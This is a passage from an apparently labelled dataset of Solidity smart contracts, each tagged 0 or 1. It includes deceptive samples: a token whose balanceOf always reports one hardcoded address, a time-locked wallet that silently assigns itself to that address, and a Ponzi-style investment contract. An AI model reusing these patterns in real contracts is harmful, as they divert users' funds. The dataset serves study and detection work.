return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 1,506 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Storage {
address private owner;
mapping (address => Investor) investors;
struct Investor {
uint index;
mapping (uint => uint) deposit;
mapping (uint => uint) interest;
mapping (uint => uint) withdrawals;
mapping (uint => uint) start;
uint checkpoint;
}
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function updateInfo(address _address, uint _value, uint _interest) external onlyOwner {
investors[_address].deposit[investors[_address].index] += _value;
investors[_address].start[investors[_address].index] = block.timestamp;
investors[_address].interest[investors[_address].index] = _interest;
}
function updateCheckpoint(address _address) external onlyOwner {
investors[_address].checkpoint = block.timestamp;
}
function updateWithdrawals(address _address, uint _index, uint _withdrawal) external onlyOwner {
investors[_address].withdrawals[_index] += _withdrawal;
}
function updateIndex(address _address) external onlyOwner {
investors[_address].index += 1;
}
function ind(address _address) external view returns(uint) {
return investors[_address].index;
}
function d(address _address, uint _index) external view returns(uint) {
return investors[_address].deposit[_index];
}
function i(address _address, uint _index) external view returns(uint) {
return investors[_address].interest[_index];
}
function w(address _address, uint _index) external view returns(uint) {
return investors[_address].withdrawals[_index];
}
function s(address _address, uint _index) external view returns(uint) {
return investors[_address].start[_index];
}
function c(address _address) external view returns(uint) {
return investors[_address].checkpoint;
}
}
contract SuperFOMO {
using SafeMath for uint;
address public owner;
address advertising;
address techsupport;
uint waveStartUp;
uint jackPot;
uint lastLeader;
address[] top;
Storage x;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referrer, address indexed _referral, uint _value);
event LogGift(address _firstAddr, address _secondAddr, address _thirdAddr, address _fourthAddr, address _fifthAddr);
event LogNewWave(uint _waveStartUp);
event LogNewLeader(address _leader);
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
modifier notFromContract() {
address addr = msg.sender;
uint size;
assembly { size := extcodesize(addr) }
require(size <= 0);
_;
}
constructor(address _advertising, address _techsupport) public {
owner = msg.sender;
advertising = _advertising;
techsupport = _techsupport;
waveStartUp = block.timestamp;
x = new Storage();
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function setRef() internal returns(uint) {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender && getDividends(_referrer) > 0) {
_referrer.transfer(msg.value / 20);
emit LogReferralInvestment(_referrer, msg.sender, msg.value);
return(msg.value / 50);
} else {
advertising.transfer(msg.value / 20);
return(0);
}
}
function getInterest() public view returns(uint) {
uint multiplier = (block.timestamp.sub(waveStartUp)) / 6 days;
if (multiplier == 0) {
return 25;
}
if (multiplier <= 8){
return(15 + (multiplier * 10));
} else {
return 100;
}
}
function toTheTop() internal {
top.push(msg.sender);
lastLeader = block.timestamp;
emit LogNewLeader(msg.sender);
}
function payDay() internal {
top[top.length - 1].transfer(jackPot * 3 / 5);
top[top.length - 2].transfer(jackPot / 10);
top[top.length - 3].transfer(jackPot / 10);
top[top.length - 4].transfer(jackPot / 10);
top[top.length - 5].transfer(jackPot / 10);
jackPot = 0;
lastLeader = block.timestamp;
emit LogGift(top[top.length - 1], top[top.length - 2], top[top.length - 3], top[top.length - 4], top[top.length - 5]);
}
function() external payable {
if (msg.value < 50000000000000000) {
msg.sender.transfer(msg.value);
withdraw();
} else {
invest();
}
}
function invest() public payable notOnPause notFromContract {
require(msg.value >= 0.05 ether);
jackPot += msg.value * 3 / 100;
if (x.d(msg.sender, 0) > 0) {
x.updateIndex(msg.sender);
} else {
x.updateCheckpoint(msg.sender);
}
if (msg.data.length == 20) {
uint addend = setRef();
} else {
advertising.transfer(msg.value / 20);
}
x.updateInfo(msg.sender, msg.value + addend, getInterest());
if (msg.value >= 1 ether) {
toTheTop();
}
emit LogInvestment(msg.sender, msg.value);
}
function withdraw() public {
uint _payout;
uint _multiplier;
if (block.timestamp > x.c(msg.sender) + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= x.ind(msg.sender); i++) {
if (x.w(msg.sender, i) < x.d(msg.sender, i) * 2) {
if (x.s(msg.sender, i) <= x.c(msg.sender)) {
uint dividends = (x.d(msg.sender, i).mul(_multiplier.mul(15).add(x.i(msg.sender, i))).div(1000)).mul(block.timestamp.sub(x.c(msg.sender).add(_multiplier.mul(2 days)))).div(1 days);
dividends = dividends.add(x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(msg.sender, i) + dividends <= x.d(msg.sender, i) * 2) {
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(msg.sender, i).mul(2)).sub(x.w(msg.sender, i)));
x.updateWithdrawals(msg.sender, i, x.d(msg.sender, i) * 2);
}
} else {
dividends = (x.d(msg.sender, i).mul(_multiplier.mul(15).add(x.i(msg.sender, i))).div(1000)).mul(block.timestamp.sub(x.s(msg.sender, i).add(_multiplier.mul(2 days)))).div(1 days);
dividends = dividends.add(x.d(msg.sender, i).mul(x.i(msg.sender, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(msg.sender, i) + dividends <= x.d(msg.sender, i) * 2) {
x.updateWithdrawals(msg.sender, i, dividends);
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(msg.sender, i).mul(2)).sub(x.w(msg.sender, i)));
x.updateWithdrawals(msg.sender, i, x.d(msg.sender, i) * 2);
}
}
}
}
if (_payout > 0) {
if (_payout > address(this).balance && address(this).balance <= 0.1 ether) {
nextWave();
return;
}
x.updateCheckpoint(msg.sender);
advertising.transfer(_payout * 3 / 25);
techsupport.transfer(_payout * 3 / 100);
msg.sender.transfer(_payout * 17 / 20);
emit LogPayment(msg.sender, _payout * 17 / 20);
}
if (block.timestamp >= lastLeader + 1 days && top.length >= 5) {
payDay();
}
}
function nextWave() private {
top.length = 0;
x = new Storage();
waveStartUp = block.timestamp + 10 days;
emit LogNewWave(waveStartUp);
}
function getDeposits(address _address) public view returns(uint Invested) {
uint _sum;
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
_sum += x.d(_address, i);
}
}
Invested = _sum;
}
function getDepositN(address _address, uint _number) public view returns(uint Deposit_N) {
if (x.w(_address, _number - 1) < x.d(_address, _number - 1) * 2) {
Deposit_N = x.d(_address, _number - 1);
} else {
Deposit_N = 0;
}
}
function getDividends(address _address) public view returns(uint Dividends) {
uint _payout;
uint _multiplier;
if (block.timestamp > x.c(_address) + 2 days) {
_multiplier = 1;
}
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
if (x.s(_address, i) <= x.c(_address)) {
uint dividends = (x.d(_address, i).mul(_multiplier.mul(15).add(x.i(_address, i))).div(1000)).mul(block.timestamp.sub(x.c(_address).add(_multiplier.mul(2 days)))).div(1 days);
dividends += (x.d(_address, i).mul(x.i(_address, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(_address, i) + dividends <= x.d(_address, i) * 2) {
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(_address, i).mul(2)).sub(x.w(_address, i)));
}
} else {
dividends = (x.d(_address, i).mul(_multiplier.mul(15).add(x.i(_address, i))).div(1000)).mul(block.timestamp.sub(x.s(_address, i).add(_multiplier.mul(2 days)))).div(1 days);
dividends += (x.d(_address, i).mul(x.i(_address, i)).div(1000).mul(_multiplier).mul(2));
if (x.w(_address, i) + dividends <= x.d(_address, i) * 2) {
_payout = _payout.add(dividends);
} else {
_payout = _payout.add((x.d(_address, i).mul(2)).sub(x.w(_address, i)));
}
}
}
}
Dividends = _payout * 17 / 20;
}
function getWithdrawals(address _address) external view returns(uint) {
uint _sum;
for (uint i = 0; i <= x.ind(_address); i++) {
if (x.w(_address, i) < x.d(_address, i) * 2) {
_sum += x.d(_address, i);
}
}
return(_sum);
}
function getTop() external view returns(address, address, address, address, address) {
return(top[top.length - 1], top[top.length - 2], top[top.length - 3], top[top.length - 4], top[top.length - 5]);
}
function getJackPot() external view returns(uint) {
return(jackPot);
}
function getNextPayDay() external view returns(uint) {
return(lastLeader + 1 days);
}
} | 0 | 407 |
pragma solidity ^0.4.18;
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Migrations {
address public owner;
uint public last_completed_migration;
modifier restricted() {
if (msg.sender == owner) _;
}
function Migrations() public {
owner = msg.sender;
}
function setCompleted(uint completed) restricted public {
last_completed_migration = completed;
}
function upgrade(address new_address) restricted public {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TimeLockedWallet {
address public creator;
address public owner;
uint256 public unlockDate;
uint256 public createdAt;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function TimeLockedWallet(
address _creator,
address _owner,
uint256 _unlockDate
) public {
creator = 0x3FC217e72846A3F86f541FAbC99F61e38E1dBF6E;
owner = 0x3FC217e72846A3F86f541FAbC99F61e38E1dBF6E;
unlockDate = 1540944000;
createdAt = now;
}
function() payable public {
Received(msg.sender, msg.value);
}
function withdraw() onlyOwner public {
require(now >= unlockDate);
msg.sender.transfer(this.balance);
Withdrew(msg.sender, this.balance);
}
function withdrawTokens(address _tokenContract) onlyOwner public {
require(now >= unlockDate);
ERC20 token = ERC20(_tokenContract);
uint256 tokenBalance = token.balanceOf(this);
token.transfer(owner, tokenBalance);
WithdrewTokens(_tokenContract, msg.sender, tokenBalance);
}
function info() public view returns(address, address, uint256, uint256, uint256) {
return (creator, owner, unlockDate, createdAt, this.balance);
}
event Received(address from, uint256 amount);
event Withdrew(address to, uint256 amount);
event WithdrewTokens(address tokenContract, address to, uint256 amount);
}
contract TimeLockedWalletFactory {
mapping(address => address[]) wallets;
function getWallets(address _user)
public
view
returns(address[])
{
return wallets[_user];
}
function newTimeLockedWallet(address _owner, uint256 _unlockDate)
payable
public
returns(address wallet)
{
wallet = new TimeLockedWallet(msg.sender, _owner, _unlockDate);
wallets[msg.sender].push(wallet);
if(msg.sender != _owner){
wallets[_owner].push(wallet);
}
wallet.transfer(msg.value);
Created(wallet, msg.sender, _owner, now, _unlockDate, msg.value);
}
function () public {
revert();
}
event Created(address wallet, address from, address to, uint256 createdAt, uint256 unlockDate, uint256 amount);
}
contract HoneyShareCoin is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
string public name = "Honey Share Coin";
string public symbol = "HSC";
uint256 public decimals = 18;
function HoneyShareCoin() public {
totalSupply = 2000000000000000000000000000;
balances[msg.sender] = totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[0x3FC217e72846A3F86f541FAbC99F61e38E1dBF6E];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
} | 1 | 2,927 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract ChronosAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
function ChronosAccessControl() public {
cfoAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
}
contract ChronosBase is ChronosAccessControl {
using SafeMath for uint256;
bool public gameStarted;
address public gameStarter;
address public lastPlayer;
uint256 public lastWagerTimeoutTimestamp;
uint256 public timeout;
uint256 public nextTimeout;
uint256 public finalTimeout;
uint256 public nextFinalTimeout;
uint256 public numberOfWagersToFinalTimeout;
uint256 public nextNumberOfWagersToFinalTimeout;
uint256 public gameIndex = 0;
uint256 public wagerIndex = 0;
function calculateTimeout() public view returns(uint256) {
if (wagerIndex >= numberOfWagersToFinalTimeout || numberOfWagersToFinalTimeout == 0) {
return finalTimeout;
} else {
if (finalTimeout <= timeout) {
uint256 difference = timeout - finalTimeout;
uint256 decrease = difference.mul(wagerIndex).div(numberOfWagersToFinalTimeout);
return (timeout - decrease);
} else {
difference = finalTimeout - timeout;
uint256 increase = difference.mul(wagerIndex).div(numberOfWagersToFinalTimeout);
return (timeout + increase);
}
}
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract ChronosFinance is ChronosBase, PullPayment {
uint256 public feePercentage = 2500;
uint256 public gameStarterDividendPercentage = 2500;
uint256 public price;
uint256 public nextPrice;
uint256 public prizePool;
uint256 public wagerPool;
function setFeePercentage(uint256 _feePercentage) external onlyCFO {
require(_feePercentage <= 4000);
feePercentage = _feePercentage;
}
function setGameStarterDividendPercentage(uint256 _gameStarterDividendPercentage) external onlyCFO {
require(500 <= _gameStarterDividendPercentage && _gameStarterDividendPercentage <= 5000);
gameStarterDividendPercentage = _gameStarterDividendPercentage;
}
function _sendFunds(address beneficiary, uint256 amount) internal {
if (!beneficiary.send(amount)) {
asyncSend(beneficiary, amount);
}
}
function withdrawFreeBalance() external onlyCFO {
uint256 freeBalance = this.balance.sub(totalPayments).sub(prizePool).sub(wagerPool);
cfoAddress.transfer(freeBalance);
}
}
contract ChronosCore is ChronosFinance {
function ChronosCore(uint256 _price, uint256 _timeout, uint256 _finalTimeout, uint256 _numberOfWagersToFinalTimeout) public {
nextPrice = _price;
nextTimeout = _timeout;
nextFinalTimeout = _finalTimeout;
nextNumberOfWagersToFinalTimeout = _numberOfWagersToFinalTimeout;
NextGame(nextPrice, nextTimeout, nextFinalTimeout, nextNumberOfWagersToFinalTimeout);
}
event NextGame(uint256 price, uint256 timeout, uint256 finalTimeout, uint256 numberOfWagersToFinalTimeout);
event Start(uint256 indexed gameIndex, address indexed starter, uint256 timestamp, uint256 price, uint256 timeout, uint256 finalTimeout, uint256 numberOfWagersToFinalTimeout);
event End(uint256 indexed gameIndex, uint256 wagerIndex, address indexed winner, uint256 timestamp, uint256 prize);
event Play(uint256 indexed gameIndex, uint256 indexed wagerIndex, address indexed player, uint256 timestamp, uint256 timeoutTimestamp, uint256 newPrizePool);
event SpiceUpPrizePool(uint256 indexed gameIndex, address indexed spicer, uint256 spiceAdded, string message, uint256 newPrizePool);
function play(uint256 _gameIndex, bool startNewGameIfIdle) external payable {
_processGameEnd();
if (!gameStarted) {
require(!paused);
require(startNewGameIfIdle);
price = nextPrice;
timeout = nextTimeout;
finalTimeout = nextFinalTimeout;
numberOfWagersToFinalTimeout = nextNumberOfWagersToFinalTimeout;
gameStarted = true;
gameStarter = msg.sender;
Start(gameIndex, msg.sender, block.timestamp, price, timeout, finalTimeout, numberOfWagersToFinalTimeout);
}
if (startNewGameIfIdle) {
require(_gameIndex == gameIndex || _gameIndex.add(1) == gameIndex);
} else {
require(_gameIndex == gameIndex);
}
require(msg.value >= price);
uint256 fee = price.mul(feePercentage).div(100000);
uint256 dividend = price.mul(gameStarterDividendPercentage).div(100000);
uint256 wagerPoolPart;
if (wagerIndex % 7 == 6) {
uint256 wagerPrize = price.mul(2);
wagerPoolPart = wagerPrize.sub(wagerPool);
msg.sender.transfer(wagerPrize);
wagerPool = 0;
} else {
wagerPoolPart = price.mul(2).div(7);
wagerPool = wagerPool.add(wagerPoolPart);
}
uint256 currentTimeout = calculateTimeout();
lastPlayer = msg.sender;
lastWagerTimeoutTimestamp = block.timestamp + currentTimeout;
prizePool = prizePool.add(price.sub(fee).sub(dividend).sub(wagerPoolPart));
Play(gameIndex, wagerIndex, msg.sender, block.timestamp, lastWagerTimeoutTimestamp, prizePool);
_sendFunds(gameStarter, dividend);
wagerIndex++;
uint256 excess = msg.value - price;
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function spiceUp(uint256 _gameIndex, string message) external payable {
_processGameEnd();
require(_gameIndex == gameIndex);
require(gameStarted || !paused);
require(msg.value > 0);
prizePool = prizePool.add(msg.value);
SpiceUpPrizePool(gameIndex, msg.sender, msg.value, message, prizePool);
}
function setNextGame(uint256 _price, uint256 _timeout, uint256 _finalTimeout, uint256 _numberOfWagersToFinalTimeout) external onlyCFO {
nextPrice = _price;
nextTimeout = _timeout;
nextFinalTimeout = _finalTimeout;
nextNumberOfWagersToFinalTimeout = _numberOfWagersToFinalTimeout;
NextGame(nextPrice, nextTimeout, nextFinalTimeout, nextNumberOfWagersToFinalTimeout);
}
function endGame() external {
require(_processGameEnd());
}
function _processGameEnd() internal returns(bool) {
if (!gameStarted) {
return false;
}
if (block.timestamp <= lastWagerTimeoutTimestamp) {
return false;
}
uint256 prize = prizePool.add(wagerPool);
_sendFunds(lastPlayer, prize);
End(gameIndex, wagerIndex, lastPlayer, lastWagerTimeoutTimestamp, prize);
gameStarted = false;
gameStarter = 0x0;
lastPlayer = 0x0;
lastWagerTimeoutTimestamp = 0;
wagerIndex = 0;
prizePool = 0;
wagerPool = 0;
gameIndex++;
return true;
}
} | 0 | 1,644 |
pragma solidity ^0.4.21;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractToken is Token, SafeMath {
function AbstractToken () {
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer(_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => mapping (address => uint256)) private allowances;
}
contract DMRToken is AbstractToken {
uint256 constant MAX_TOKEN_COUNT = 100000000 * (10**18);
address private owner;
mapping (address => bool) private frozenAccount;
uint256 tokenCount = 0;
bool frozen = false;
function DMRToken () {
owner = msg.sender;
}
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "DMR Coin";
string constant public symbol = "DMR";
uint8 constant public decimals = 18;
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
RefundTokens(_token, _refund, _value);
}
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
FrozenFunds(_target, freeze);
}
event Freeze ();
event Unfreeze ();
event FrozenFunds(address target, bool frozen);
event RefundTokens(address _token, address _refund, uint256 _value);
} | 1 | 2,238 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
